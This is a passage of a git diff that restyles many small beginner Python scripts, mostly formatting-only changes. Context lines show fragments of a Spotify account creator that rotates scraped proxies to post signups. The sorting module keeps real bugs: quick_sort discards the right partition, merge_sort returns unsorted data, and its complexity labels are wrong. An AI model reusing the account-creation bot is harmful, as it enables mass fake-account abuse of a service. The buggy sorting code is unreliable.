MiB".format(ram_available() / 1024 ** 2)) + print("RAM Available: {} MiB".format(ram_available() / 1024**2)) print("AC Connected: {}".format(ac_connected())) diff --git a/sierpinski_triangle.py b/sierpinski_triangle.py index 966b5648af3..c6bfff6ca0f 100644 --- a/sierpinski_triangle.py +++ b/sierpinski_triangle.py @@ -3,10 +3,10 @@ Simple example of Fractal generation using recursive function. What is Sierpinski Triangle? ->>The Sierpinski triangle (also with the original orthography Sierpinski), also called the Sierpinski gasket or the Sierpinski Sieve, -is a fractal and attractive fixed set with the overall shape of an equilateral triangle, subdivided recursively into smaller -equilateral triangles. Originally constructed as a curve, this is one of the basic examples of self-similar sets, i.e., -it is a mathematically generated pattern that can be reproducible at any magnification or reduction. It is named after +>>The Sierpinski triangle (also with the original orthography Sierpinski), also called the Sierpinski gasket or the Sierpinski Sieve, +is a fractal and attractive fixed set with the overall shape of an equilateral triangle, subdivided recursively into smaller +equilateral triangles. Originally constructed as a curve, this is one of the basic examples of self-similar sets, i.e., +it is a mathematically generated pattern that can be reproducible at any magnification or reduction. It is named after the Polish mathematician Wacław Sierpinski, but appeared as a decorative pattern many centuries prior to the work of Sierpinski. Requirements(pip): @@ -21,6 +21,7 @@ Credits: This code was written by editing the code from http://www.lpb-riannetrujillo.com/blog/python-fractal/ """ + import sys import turtle diff --git a/simple_calcu.py b/simple_calcu.py index f31ca843ac8..4f61908aecd 100644 --- a/simple_calcu.py +++ b/simple_calcu.py @@ -1,5 +1,5 @@ while True: print(int(input("enter first number..")) + int(input("enter second number.."))) - q= input("press q to quit or press anu key to continue").lower() - if q==" q": - break \ No newline at end of file + q = input("press q to quit or press anu key to continue").lower() + if q == " q": + break diff --git a/simple_calculator/simple_calculator.py b/simple_calculator/simple_calculator.py index b84588896c4..7a3f625d007 100644 --- a/simple_calculator/simple_calculator.py +++ b/simple_calculator/simple_calculator.py @@ -2,18 +2,22 @@ def add(x, y): return x + y + def subtract(x, y): return x - y + def multiply(x, y): return x * y + def divide(x, y): # Prevent division by zero if y == 0: return "Error: Division by zero is not allowed" return x / y + # Display the options to the user def display_menu(): print("\nSelect operation:") @@ -22,15 +26,16 @@ def display_menu(): print("3. Multiply") print("4. Divide") + # Main program loop while True: display_menu() - + # Take input from the user choice = input("Enter choice (1/2/3/4): ") # Check if the choice is valid - if choice in ('1', '2', '3', '4'): + if choice in ("1", "2", "3", "4"): try: num1 = float(input("Enter first number: ")) num2 = float(input("Enter second number: ")) @@ -39,18 +44,20 @@ def display_menu(): continue # Perform the chosen operation - if choice == '1': + if choice == "1": print(f"{num1} + {num2} = {add(num1, num2)}") - elif choice == '2': + elif choice == "2": print(f"{num1} - {num2} = {subtract(num1, num2)}") - elif choice == '3': + elif choice == "3": print(f"{num1} * {num2} = {multiply(num1, num2)}") - elif choice == '4': + elif choice == "4": print(f"{num1} / {num2} = {divide(num1, num2)}") # Check if the user wants another calculation - next_calculation = input("Do you want to perform another calculation? (yes/no): ").lower() - if next_calculation != 'yes': + next_calculation = input( + "Do you want to perform another calculation? (yes/no): " + ).lower() + if next_calculation != "yes": print("Exiting the calculator.") break else: diff --git a/simulate_memory_cpu.py b/simulate_memory_cpu.py index 686d7c4312c..1a8ab142071 100644 --- a/simulate_memory_cpu.py +++ b/simulate_memory_cpu.py @@ -11,30 +11,32 @@ def print_help(): - print('Usage: ') - print(' python cpu_memory_simulator.py m 1GB') - print(' python cpu_memory_simulator.py c 1') - print(' python cpu_memory_simulator.py mc 1GB 2') + print("Usage: ") + print(" python cpu_memory_simulator.py m 1GB") + print(" python cpu_memory_simulator.py c 1") + print(" python cpu_memory_simulator.py mc 1GB 2") + # memory usage def mem(): - pattern = re.compile(r'^(\d*)([MG]B)$') + pattern = re.compile(r"^(\d*)([MG]B)$") size = sys.argv[2].upper() match = pattern.match(size) if match: num = int(match.group(1)) unit = match.group(2) - if unit == 'MB': - s = ' ' * (num * 1024 * 1024) + if unit == "MB": + s = " " * (num * 1024 * 1024) else: - s = ' ' * (num * 1024 * 1024 * 1024) + s = " " * (num * 1024 * 1024 * 1024) time.sleep(24 * 3600) else: print("bad args.....") print_help() + # cpu usage @@ -42,6 +44,7 @@ def deadloop(): while True: pass + # Specify how many cores to occupy according to the parameters @@ -54,7 +57,7 @@ def cpu(): return if cores > cpu_num: - print("Invalid CPU Num(cpu_count="+str(cpu_num)+")") + print("Invalid CPU Num(cpu_count=" + str(cpu_num) + ")") return if cores is None or cores < 1: @@ -71,11 +74,7 @@ def mem_cpu(): if __name__ == "__main__": if len(sys.argv) >= 3: - switcher = { - 'm': mem, - 'c': cpu, - 'mc': mem_cpu - } + switcher = {"m": mem, "c": cpu, "mc": mem_cpu} switcher.get(sys.argv[1], mem)() else: print_help() diff --git a/singly_linked_list.py b/singly_linked_list.py index bd66b5f5d8b..8eca38598fe 100644 --- a/singly_linked_list.py +++ b/singly_linked_list.py @@ -3,7 +3,8 @@ def __init__(self, data): self.data = data self.next = None -class LinkedList(): + +class LinkedList: def __init__(self): self.head = None @@ -38,7 +39,7 @@ def insert(self, pos, data): elif pos == 0: self.insert_at_head(data) return - elif pos == self.length()-1: + elif pos == self.length() - 1: self.add_node(data) return new_node = Node(data) @@ -53,12 +54,12 @@ def insert(self, pos, data): prev = curr curr = curr.next curr_pos += 1 - + def delete_head(self): temp = self.head self.head = temp.next del temp - + def delete_end(self): curr = self.head prev = None @@ -77,7 +78,7 @@ def delete(self, pos): elif pos == 0: self.delete_head() return - elif pos == self.length()-1: + elif pos == self.length() - 1: self.delete_end() return curr = self.head @@ -98,7 +99,7 @@ def display(self): rev = [] curr = self.head while curr != None: - print(f"{curr.data} --> ", end='') + print(f"{curr.data} --> ", end="") rev.append(curr.data) curr = curr.next print() diff --git a/size(resolution)image.py b/size(resolution)image.py index 333a1effb2a..6bc312b245d 100644 --- a/size(resolution)image.py +++ b/size(resolution)image.py @@ -3,7 +3,6 @@ def jpeg_res(filename): # open image for reading in binary mode with open(filename, "rb") as img_file: - # height of image (in 2 bytes) is at 164th position img_file.seek(163) diff --git a/snake_case_renamer_depth_one.py b/snake_case_renamer_depth_one.py index eb4ac051a6f..bfd1d3ad21d 100644 --- a/snake_case_renamer_depth_one.py +++ b/snake_case_renamer_depth_one.py @@ -1,6 +1,7 @@ import os import argparse + def generate_unique_name(directory: str, name: str) -> str: """ Generate a unique name for a file or folder in the specified directory. @@ -23,6 +24,7 @@ def generate_unique_name(directory: str, name: str) -> str: index += 1 return f"{base_name}_{index}{extension}" + def rename_files_and_folders(directory: str) -> None: """ Rename files and folders in the specified directory to lowercase with underscores. @@ -53,6 +55,7 @@ def rename_files_and_folders(directory: str) -> None: os.rename(old_path, new_path) + def main() -> None: """ Main function to handle command-line arguments and call the renaming function. @@ -67,12 +70,19 @@ def main() -> None: """ # Create a parser for command-line arguments - parser = argparse.ArgumentParser(description="Rename files and folders to lowercase with underscores.") - parser.add_argument("directory", type=str, help="Path to the directory containing the files and folders to be renamed.") + parser = argparse.ArgumentParser( + description="Rename files and folders to lowercase with underscores." + ) + parser.add_argument( + "directory", + type=str, + help="Path to the directory containing the files and folders to be renamed.", + ) args = parser.parse_args() # Call the rename_files_and_folders function with the provided directory path rename_files_and_folders(args.directory) + if __name__ == "__main__": main() diff --git a/sorting_algos.py b/sorting_algos.py index d34169a5141..4e40821fca9 100644 --- a/sorting_algos.py +++ b/sorting_algos.py @@ -1,70 +1,75 @@ -'''Contains some of the Major Sorting Algorithm''' - -def selection_sort(arr : list) -> list: - '''TC : O(n^2) - SC : O(1)''' +"""Contains some of the Major Sorting Algorithm""" + + +def selection_sort(arr: list) -> list: + """TC : O(n^2) + SC : O(1)""" n = len(arr) - for i in range( n): - for j in range(i+1 , n): + for i in range(n): + for j in range(i + 1, n): if arr[i] > arr[j]: - arr[i] , arr[j] = arr[j] , arr[i] + arr[i], arr[j] = arr[j], arr[i] return arr -def bubble_sort(arr : list) -> list: - '''TC : O(n^2) - SC : O(1)''' + +def bubble_sort(arr: list) -> list: + """TC : O(n^2) + SC : O(1)""" n = len(arr) flag = True while flag: flag = False - for i in range(1 , n): - if arr[i-1] > arr[i]: + for i in range(1, n): + if arr[i - 1] > arr[i]: flag = True - arr[i-1] , arr[i] = arr[i] , arr[i-1] + arr[i - 1], arr[i] = arr[i], arr[i - 1] return arr -def insertion_sort(arr : list) -> list: - '''TC : O(n^2) - SC : O(1)''' + +def insertion_sort(arr: list) -> list: + """TC : O(n^2) + SC : O(1)""" n = len(arr) for i in range(1, n): - for j in range(i , 0 , -1): - if arr[j-1] > arr[j]: - arr[j-1] , arr[j] = arr[j] , arr[j-1] - else : + for j in range(i, 0, -1): + if arr[j - 1] > arr[j]: + arr[j - 1], arr[j] = arr[j], arr[j - 1] + else: break return arr - -def merge_sort(arr : list) -> list: - '''TC : O(nlogn) - SC : O(n) for this version ... But SC can be reduced to O(1)''' + + +def merge_sort(arr: list) -> list: + """TC : O(nlogn) + SC : O(n) for this version ... But SC can be reduced to O(1)""" n = len(arr) - if n == 1: return arr - + if n == 1: + return arr + m = len(arr) // 2 - L = arr[:m] + L = arr[:m] R = arr[m:] - L = merge_sort(L) - R = merge_sort(R) + L = merge_sort(L) + R = merge_sort(R) l = r = 0 - + sorted_arr = [0] * n i = 0 - + while l < len(L) and r < len(R): if L[l] < R[r]: sorted_arr[i] = L[l] l += 1 - else : + else: sorted_arr[i] = R[r] r += 1 i += 1 - + while l < len(L): sorted_arr[i] = L[l] l += 1 i += 1 - + while r < len(R): sorted_arr[i] = R[r] r += 1 @@ -72,50 +77,57 @@ def merge_sort(arr : list) -> list: return arr -def quick_sort(arr : list) -> list: - '''TC : O(nlogn) (TC can be n^2 for SUUUper worst case i.e. If the Pivot is continuously bad) - SC : O(n) for this version ... But SC can be reduced to O(logn)''' - - if len(arr) <= 1: return arr - + +def quick_sort(arr: list) -> list: + """TC : O(nlogn) (TC can be n^2 for SUUUper worst case i.e. If the Pivot is continuously bad) + SC : O(n) for this version ... But SC can be reduced to O(logn)""" + + if len(arr) <= 1: + return arr + piv = arr[-1] L = [x for x in arr[:-1] if x <= piv] R = [x for x in arr[:-1] if x > piv] - - L , R = quick_sort(L) , quick_sort(L) - + + L, R = quick_sort(L), quick_sort(L) + return L + [piv] + R - -def counting_sort(arr : list) -> list: - '''This Works only for Positive int's(+ve), but can be modified for Negative's also - + + +def counting_sort(arr: list) -> list: + """This Works only for Positive int's(+ve), but can be modified for Negative's also + TC : O(n) - SC : O(n)''' + SC : O(n)""" n = len(arr) maxx = max(arr) counts = [0] * (maxx + 1) for x in arr: counts[x] += 1 - + i = 0 for c in range(maxx + 1): while counts[c] > 0: arr[i] = c i += 1 counts[c] -= 1 - return arr - + return arr + + def main(): - algos = {'selection_sort' : ['TC : O(n^2)','SC : O(1)'], - 'bubble_sort' : ['TC : O(n^2)','SC : O(1)'], - 'insertion_sort' : ['TC : O(n^2)','SC : O(1)'], - 'merge_sort' : ['TC : O(n^2)','SC : O(1)'], - 'quick_sort' : ['TC : O(n^2)','SC : O(1)'], - 'counting_sort' : ['TC : O(n^2)','SC : O(1)'],} - - inp = [1 , 2 ,7 , -8 , 34 , 2 , 80 , 790 , 6] + algos = { + "selection_sort": ["TC : O(n^2)", "SC : O(1)"], + "bubble_sort": ["TC : O(n^2)", "SC : O(1)"], + "insertion_sort": ["TC : O(n^2)", "SC : O(1)"], + "merge_sort": ["TC : O(n^2)", "SC : O(1)"], + "quick_sort": ["TC : O(n^2)", "SC : O(1)"], + "counting_sort": ["TC : O(n^2)", "SC : O(1)"], + } + + inp = [1, 2, 7, -8, 34, 2, 80, 790, 6] arr = counting_sort(inp) - print('U are amazing, Keep up') + print("U are amazing, Keep up") + -if __name__ == '__main__': - main() \ No newline at end of file +if __name__ == "__main__": + main() diff --git a/spotifyAccount.py b/spotifyAccount.py index a585b6abb96..a4537f2a613 100644 --- a/spotifyAccount.py +++ b/spotifyAccount.py @@ -31,7 +31,6 @@ def randomPassword(size=14, chars=string.ascii_letters + string.digits): class proxy: def update(self): while True: - data = "" urls = [ "https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=10000&ssl=yes" @@ -92,7 +91,6 @@ def creator(): } try: - r = s.post( "https://spclient.wg.spotify.com/signup/public/v1/account/", data=data, diff --git a/sqlite_check.py b/sqlite_check.py index dd00576ffd3..295274f8539 100644 --- a/sqlite_check.py +++ b/sqlite_check.py @@ -26,12 +26,10 @@ except lite.Error as e: - print("Error %s:" % e.args[0]) sys.exit(1) finally: - if con: con.close() diff --git a/square_root.py b/square_root.py index 768340a9104..b5edae2886d 100644 --- a/square_root.py +++ b/square_root.py @@ -1,9 +1,12 @@ import math + def square_root(number): - if number >=0: + if number >= 0: print(f"Square root {math.sqrt(number)}") else: print("Cannot find square root for the negative numbers..") + + while True: - square_root(int(input("enter any number"))) \ No newline at end of file + square_root(int(input("enter any number"))) diff --git a/stackF_Harsh2255.py b/stackF_Harsh2255.py index b28bf9de77a..6c318694e6b 100644 --- a/stackF_Harsh2255.py +++ b/stackF_Harsh2255.py @@ -4,6 +4,7 @@ # Used to return -infinite when stack is empty from sys import maxsize + # Function to create a stack. It initializes size of stack as 0 def createStack(): stack = [] diff --git a/string_palin.py b/string_palin.py index 1349f993c4c..74d6863527b 100644 --- a/string_palin.py +++ b/string_palin.py @@ -1,20 +1,20 @@ -# +# # With slicing -> Reverses the string using string[::-1] -string= input("enter a word to check.. ") -copy=string[::-1] -if string == copy: +string = input("enter a word to check.. ") +copy = string[::-1] +if string == copy: print("Plaindrome") -else: +else: print("!") # Without slicing –> Reverses the string manually using a loop -reverse_string="" +reverse_string = "" for i in string: - reverse_string=i+reverse_string + reverse_string = i + reverse_string if string == reverse_string: print(reverse_string) else: - print("!") \ No newline at end of file + print("!") diff --git a/sum_of_digits_of_a_number.py b/sum_of_digits_of_a_number.py index 06bb321441f..dd0014840f3 100644 --- a/sum_of_digits_of_a_number.py +++ b/sum_of_digits_of_a_number.py @@ -1,5 +1,6 @@ import sys + def get_integer_input(prompt, attempts): for i in range(attempts, 0, -1): try: @@ -7,9 +8,10 @@ def get_integer_input(prompt, attempts): return n except ValueError: print("Enter an integer only") - print(f"{i-1} {'chance' if i-1 == 1 else 'chances'} left") + print(f"{i - 1} {'chance' if i - 1 == 1 else 'chances'} left") return None + def sum_of_digits(n): total = 0 while n > 0: @@ -17,6 +19,7 @@ def sum_of_digits(n): n //= 10 return total + chances = 3 number = get_integer_input("Enter a number: ", chances) diff --git a/swap.py b/swap.py index 00971b94165..47ec594d5bf 100644 --- a/swap.py +++ b/swap.py @@ -6,10 +6,10 @@ class Swapper: ------- swap_tuple_unpacking(self): Swaps the values of x and y using a tuple unpacking method. - + swap_temp_variable(self): Swaps the values of x and y using a temporary variable. - + swap_arithmetic_operations(self): Swaps the values of x and y using arithmetic operations. @@ -29,7 +29,7 @@ def __init__(self, x, y): """ if not isinstance(x, (int, float)) or not isinstance(y, (float, int)): raise ValueError("Both x and y should be integers.") - + self.x = x self.y = y diff --git a/text-to-audio/text-file-to-audio.py b/text-to-audio/text-file-to-audio.py index aa5ce407d6b..5dd9bdd74fd 100644 --- a/text-to-audio/text-file-to-audio.py +++ b/text-to-audio/text-file-to-audio.py @@ -8,7 +8,7 @@ language = "en" # Get the contents of your file -with open(mytextfile, 'r') as f: +with open(mytextfile, "r") as f: mytext = f.read() f.close() diff --git a/text_to_pig_latin.py b/text_to_pig_latin.py index 850b13913e8..518358a6f47 100644 --- a/text_to_pig_latin.py +++ b/text_to_pig_latin.py @@ -1,6 +1,6 @@ """ -This program converts English text to Pig-Latin. In Pig-Latin, we take the first letter of each word, -move it to the end, and add 'ay'. If the first letter is a vowel, we simply add 'hay' to the end. +This program converts English text to Pig-Latin. In Pig-Latin, we take the first letter of each word, +move it to the end, and add 'ay'. If the first letter is a vowel, we simply add 'hay' to the end. The program preserves capitalization and title case. For example: @@ -18,6 +18,7 @@ def pig_latin_word(word): else: return word[1:] + word[0] + "ay" + def pig_latin_sentence(text): words = text.split() pig_latin_words = [] @@ -31,7 +32,8 @@ def pig_latin_sentence(text): else: pig_latin_words.append(pig_latin_word(word)) - return ' '.join(pig_latin_words) + return " ".join(pig_latin_words) + user_input = input("Enter some English text: ") pig_latin_text = pig_latin_sentence(user_input) diff --git a/tf_idf_generator.py b/tf_idf_generator.py index 4e99e96ce64..f31f0137b31 100644 --- a/tf_idf_generator.py +++ b/tf_idf_generator.py @@ -1,4 +1,4 @@ -"""@Author: Anurag Kumar(mailto:anuragkumarak95@gmail.com) +"""@Author: Anurag Kumar(mailto:anuragkumarak95@gmail.com) This module is used for generating a TF-IDF file or values from a list of files that contains docs. What is TF-IDF : https://en.wikipedia.org/wiki/Tf%E2%80%93idf @@ -6,8 +6,8 @@ python: - 3.5 -pre-requisites: - - colorama==0.3.9 +pre-requisites: + - colorama==0.3.9 sample file format of input: @@ -31,6 +31,7 @@ have fun, cheers. """ + import math import pickle @@ -87,9 +88,7 @@ def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None): """ if file_names is None: file_names = ["./../test/testdata"] - tf_idf = ( - [] - ) # will hold a dict of word_count for every doc(line in a doc in this case) + tf_idf = [] # will hold a dict of word_count for every doc(line in a doc in this case) idf = {} # this statement is useful for altering existant tf-idf file and adding new docs in itself.(## memory is now the biggest issue) @@ -100,7 +99,6 @@ def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None): prev_corpus_length = len(tf_idf) for f in file_names: - file1 = open( f, "r" ) # never use 'rb' for textual data, it creates something like, {b'line-inside-the-doc'} diff --git a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py index 0e30d89d195..2c22d6676df 100644 --- a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py +++ b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py @@ -11,27 +11,24 @@ mustache = cv2.imread("image/mustache.png", -1) while True: - ret, frame = cap.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2BGRA) - for (x, y, w, h) in faces: + for x, y, w, h in faces: roi_gray = gray[y : y + h, x : x + h] # rec roi_color = frame[y : y + h, x : x + h] nose = nose_cascade.detectMultiScale(roi_gray, scaleFactor=1.5, minNeighbors=5) - for (nx, ny, nw, nh) in nose: - + for nx, ny, nw, nh in nose: roi_nose = roi_gray[ny : ny + nh, nx : nx + nw] mustache2 = image_resize(mustache.copy(), width=nw) mw, mh, mc = mustache2.shape for i in range(0, mw): for j in range(0, mh): - if mustache2[i, j][3] != 0: # alpha 0 roi_color[ny + int(nh / 2.0) + i, nx + j] = mustache2[i, j] diff --git a/tic-tac-toe.py b/tic-tac-toe.py index a3dd41e4062..28fa6b5f6ae 100644 --- a/tic-tac-toe.py +++ b/tic-tac-toe.py @@ -13,6 +13,7 @@ Game = Running Mark = "X" + # This Function Draws Game Board def DrawBoard(): print(" %c | %c | %c " % (board[1], board[2], board[3])) diff --git a/tic_tak_toe.py b/tic_tak_toe.py index 3138057fea0..b21490ca92d 100644 --- a/tic_tak_toe.py +++ b/tic_tak_toe.py @@ -6,6 +6,7 @@ import random from time import sleep + # Creates an empty board def create_board(): return np.array([[0, 0, 0], [0, 0, 0], [0, 0, 0]]) @@ -17,7 +18,6 @@ def possibilities(board): for i in range(len(board)): for j in range(len(board)): - if board[i][j] == 0: l.append((i, j)) return l @@ -89,7 +89,6 @@ def evaluate(board): for player in [1, 2]: if row_win(board, player) or col_win(board, player) or diag_win(board, player): - winner = player if np.all(board != 0) and winner == 0: diff --git a/tik_tak.py b/tik_tak.py index fb4d11601cb..734e2378bda 100644 --- a/tik_tak.py +++ b/tik_tak.py @@ -76,29 +76,21 @@ def enter_number(p1_sign, p2_sign): def checkwin(): if board[1] == board[2] == board[3]: - return 1 elif board[4] == board[5] == board[6]: - return 1 elif board[7] == board[8] == board[9]: - return 1 elif board[1] == board[4] == board[7]: - return 1 elif board[2] == board[5] == board[8]: - return 1 elif board[3] == board[6] == board[9]: - return 1 elif board[1] == board[5] == board[9]: - return 1 elif board[3] == board[5] == board[7]: - return 1 else: print("\n\nGame continue") diff --git a/time_delta.py b/time_delta.py index ac367ba2f84..c805c98b770 100644 --- a/time_delta.py +++ b/time_delta.py @@ -1,4 +1,4 @@ -"""Time Delta Solution """ +"""Time Delta Solution""" # ----------------------------------------------------------------------------- @@ -26,26 +26,25 @@ # Sample Output: # 25200 # 88200 -#------------------------------------------------------------------------------ +# ------------------------------------------------------------------------------ # Imports import datetime + # Complete the time_delta function below. def time_delta(t1, t2): """ Calculate the time delta between two timestamps in seconds. """ # Convert the timestamps to datetime objects - t1 = datetime.datetime.strptime(t1, '%a %d %b %Y %H:%M:%S %z') - t2 = datetime.datetime.strptime(t2, '%a %d %b %Y %H:%M:%S %z') - - return (t1 - t2) + t1 = datetime.datetime.strptime(t1, "%a %d %b %Y %H:%M:%S %z") + t2 = datetime.datetime.strptime(t2, "%a %d %b %Y %H:%M:%S %z") + return t1 - t2 -if __name__ == '__main__': - +if __name__ == "__main__": t = int(input()) for itr_t in range(t): @@ -56,7 +55,3 @@ def time_delta(t1, t2): delta = time_delta(t1, t2) # print Delta with 1 Decimal Place print(round(delta.total_seconds(), 1)) - - - - diff --git a/triangles.py b/triangles.py index 97283d8dad8..df9727a7f7d 100644 --- a/triangles.py +++ b/triangles.py @@ -12,7 +12,6 @@ ) for i in range(1, max_size + 1): - print("*" * i, end=" " * (max_size - i + 3)) print("*" * (max_size - i + 1), end=" " * (i - 1 + 3)) diff --git a/tuple.py b/tuple.py index 69ee3950b9f..3f32d1df9f2 100644 --- a/tuple.py +++ b/tuple.py @@ -1,11 +1,11 @@ -a=(1,2,3,4,5) -print('Individual elements of Tuple are') +a = (1, 2, 3, 4, 5) +print("Individual elements of Tuple are") for i in a: - print(i,end=' ') + print(i, end=" ") print() -print('Value at index number 3 is:',a[3]) -print('Values from index no 2 are',a[2:]) -print('Length of tuple is',len(a)) -print('Maximum value from tuple is ',max(a)) -print('Minimum value from tuple is ',min(a)) -del a #delete the whole tuple +print("Value at index number 3 is:", a[3]) +print("Values from index no 2 are", a[2:]) +print("Length of tuple is", len(a)) +print("Maximum value from tuple is ", max(a)) +print("Minimum value from tuple is ", min(a)) +del a # delete the whole tuple diff --git a/turtal game.ipynb b/turtal game.ipynb index 70e85ff8431..4794115f709 100644 --- a/turtal game.ipynb +++ b/turtal game.ipynb @@ -6,7 +6,7 @@ "metadata": {}, "outputs": [], "source": [ - "import turtle \n" + "import turtle" ] }, { diff --git a/turtle_shapes_made.py b/turtle_shapes_made.py index e82ece728f4..60017048ffc 100644 --- a/turtle_shapes_made.py +++ b/turtle_shapes_made.py @@ -1,5 +1,6 @@ import turtle + class ShapeDrawer: def __init__(self, color, pensize): self.turtle = turtle.Turtle() @@ -18,6 +19,7 @@ def draw_triangle(self, length): self.turtle.forward(length) self.turtle.left(120) + def main(): scrn = turtle.Screen() scrn.bgcolor("lavender") @@ -45,5 +47,6 @@ def main(): scrn.exitonclick() + if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/twitter_post_scraper.py b/twitter_post_scraper.py index 06be7896e8a..5e80e0f2fa3 100644 --- a/twitter_post_scraper.py +++ b/twitter_post_scraper.py @@ -28,9 +28,9 @@ def tweeter_scrapper(): for dirty_tweet in list_of_dirty_tweets: dirty_tweet = re.sub(re_text, "", dirty_tweet, flags=re.MULTILINE) dirty_tweet = re.sub(re_text_1, "", dirty_tweet, flags=re.MULTILINE) - dirty_tweet = dirty_tweet.replace(u"\xa0…", u"") - dirty_tweet = dirty_tweet.replace(u"\xa0", u"") - dirty_tweet = dirty_tweet.replace(u"\u200c", u"") + dirty_tweet = dirty_tweet.replace("\xa0…", "") + dirty_tweet = dirty_tweet.replace("\xa0", "") + dirty_tweet = dirty_tweet.replace("\u200c", "") clear_list_of_tweets.append(dirty_tweet) print(clear_list_of_tweets) diff --git a/two_num.py b/two_num.py index 45719e1ebe4..e0d57b2dd46 100644 --- a/two_num.py +++ b/two_num.py @@ -2,7 +2,7 @@ Author: Anurag Kumar (mailto:anuragkumarak95@gmail.com) Description: - This function finds two numbers in a given list that add up to a specified target. + This function finds two numbers in a given list that add up to a specified target. It returns the indices of those two numbers. Constraints: @@ -16,6 +16,7 @@ from typing import List, Optional + def two_sum(nums: List[int], target: int) -> Optional[List[int]]: """ Finds indices of two numbers in 'nums' that add up to 'target'. @@ -30,10 +31,10 @@ def two_sum(nums: List[int], target: int) -> Optional[List[int]]: """ if len(nums) < 2: raise ValueError("Input list must contain at least two numbers.") - + if not all(isinstance(num, int) for num in nums): raise TypeError("All elements in the list must be integers.") - + # Dictionary to track seen values and their indices seen_values = {} @@ -45,6 +46,7 @@ def two_sum(nums: List[int], target: int) -> Optional[List[int]]: return None + # Example usage if __name__ == "__main__": example_nums = [2, 7, 11, 15] @@ -53,6 +55,8 @@ def two_sum(nums: List[int], target: int) -> Optional[List[int]]: if result: num1, num2 = example_nums[result[0]], example_nums[result[1]] - print(f"Indices that add up to {example_target}: {result} (Values: {num1} + {num2})") + print( + f"Indices that add up to {example_target}: {result} (Values: {num1} + {num2})" + ) else: print(f"No combination found that adds up to {example_target}.") diff --git a/ultimate-phone-book/contacts.py b/ultimate-phone-book/contacts.py index 7c53bacb28e..c1d70e9bcac 100644 --- a/ultimate-phone-book/contacts.py +++ b/ultimate-phone-book/contacts.py @@ -12,29 +12,33 @@ import os # get array from pickle data -infile = open('data/pickle-main', 'rb') +infile = open("data/pickle-main", "rb") # defining array array = pickle.load(infile) infile.close() # get key if path exists keyacess = False -path = 'data/pickle-key' -if os.path.isfile('data/pickle-key'): - pklekey = open('data/pickle-key', 'rb') +path = "data/pickle-key" +if os.path.isfile("data/pickle-key"): + pklekey = open("data/pickle-key", "rb") key = pickle.load(pklekey) pklekey.close() - if key == 'SKD0DW99SAMXI19#DJI9': + if key == "SKD0DW99SAMXI19#DJI9": keyacess = True print("key found & is correct") print("ALL FEATURES ENABLED") else: print("key is WRONG\nSOME FEATURES ARE DISABLED") - print("check https://github.com/JymPatel/Python-FirstEdition/tree/Main/PyPrograms/contacts for key, it's free") + print( + "check https://github.com/JymPatel/Python-FirstEdition/tree/Main/PyPrograms/contacts for key, it's free" + ) print("key isn't added to this repo check above repo") else: print("key not found\nSOME FEATURES ARE DISABLED") - print("check https://github.com/JymPatel/Python-FirstEdition/tree/Main/PyPrograms/contacts for key, it's free") + print( + "check https://github.com/JymPatel/Python-FirstEdition/tree/Main/PyPrograms/contacts for key, it's free" + ) print("") print("update-22.02 ADDS SAVING YOUR DATA WHEN CLOSED BY SAVING USING OPTION 0\n##") @@ -45,8 +49,8 @@ number = 2 email = 3 # getting some variables -promptvar = 0 # variable for prompt -loopvar = 0 # variable for main loop +promptvar = 0 # variable for prompt +loopvar = 0 # variable for main loop # making loop to run while loopvar < 1: # ask user what to do @@ -77,7 +81,9 @@ i1 = 0 # print all names while i1 < arraylen: - print(f"{array[fname][i1]} {array[lname][i1]}, {array[number][i1]} {array[email][i1]}") + print( + f"{array[fname][i1]} {array[lname][i1]}, {array[number][i1]} {array[email][i1]}" + ) i1 += 1 print("=======================") @@ -95,7 +101,7 @@ print("which contact would you like to delete? (enter first name)") print("enter '\nSTOP' to STOP deleting contact") rmcontact = input("INPUT: ") - if rmcontact != '\nSTOP': + if rmcontact != "\nSTOP": tempvar = 0 rmvar = 0 for i in range(arraylen): @@ -111,7 +117,7 @@ for i in range(4): print(array[i][rmvar]) tempinp = input("y/n? ") - if tempinp == 'y' or tempinp == 'Y': + if tempinp == "y" or tempinp == "Y": for i in range(4): del array[i][rmvar] print("contact REMOVED.") @@ -122,8 +128,6 @@ print("there are more than one contact with same name") # TODO - - # if option 4 is selected elif a == 4: if keyacess == True: @@ -158,7 +162,7 @@ elif a == 9: if keyacess: # change prompt settings - if promptvar == 0: + if promptvar == 0: promptvar += 1 print("you won't get prompt now!") print("ENTER 9 AGAIN TO START GETTING PROMPT AGAIN!!") @@ -167,11 +171,10 @@ else: print("NEED CORRECT KEY TO ENABLE THIS FEATURE") - # if option 0 is selected elif a == 0: print("Saving your Data ...") - outfile = open('data/pickle-main', 'wb') + outfile = open("data/pickle-main", "wb") pickle.dump(array, outfile) outfile.close() print("YOUR DATA HAS BEEN SAVED SUCESSFULLY!") diff --git a/videodownloder.py b/videodownloder.py index 6b91829e293..1db13a66c00 100644 --- a/videodownloder.py +++ b/videodownloder.py @@ -1,24 +1,25 @@ -from pytube import YouTube +from pytube import YouTube -#location where you save. -PATH = "E:/" #to_do +# location where you save. +PATH = "E:/" # to_do -#link of video. -link=["https://www.youtube.com/watch?v=p8FuTenSWPI", - "https://www.youtube.com/watch?v=JWbnEt3xuos" - ]#list of video links. -for i in link: - try: - yt = YouTube(i) - except: - print("Connection Error") #to handle exception - - #check files with "mp4" extension - mp4files = yt.filter('mp4') +# link of video. +link = [ + "https://www.youtube.com/watch?v=p8FuTenSWPI", + "https://www.youtube.com/watch?v=JWbnEt3xuos", +] # list of video links. +for i in link: + try: + yt = YouTube(i) + except: + print("Connection Error") # to handle exception - d_video = yt.get(mp4files[-1].extension,mp4files[-1].resolution) - try: - d_video.download(PATH) - except: - print("Some Error!") -print('Task Completed!') + # check files with "mp4" extension + mp4files = yt.filter("mp4") + + d_video = yt.get(mp4files[-1].extension, mp4files[-1].resolution) + try: + d_video.download(PATH) + except: + print("Some Error!") +print("Task Completed!") diff --git a/voice.py b/voice.py index b8f2a3e23c8..48b01b8b308 100644 --- a/voice.py +++ b/voice.py @@ -5,7 +5,7 @@ text = 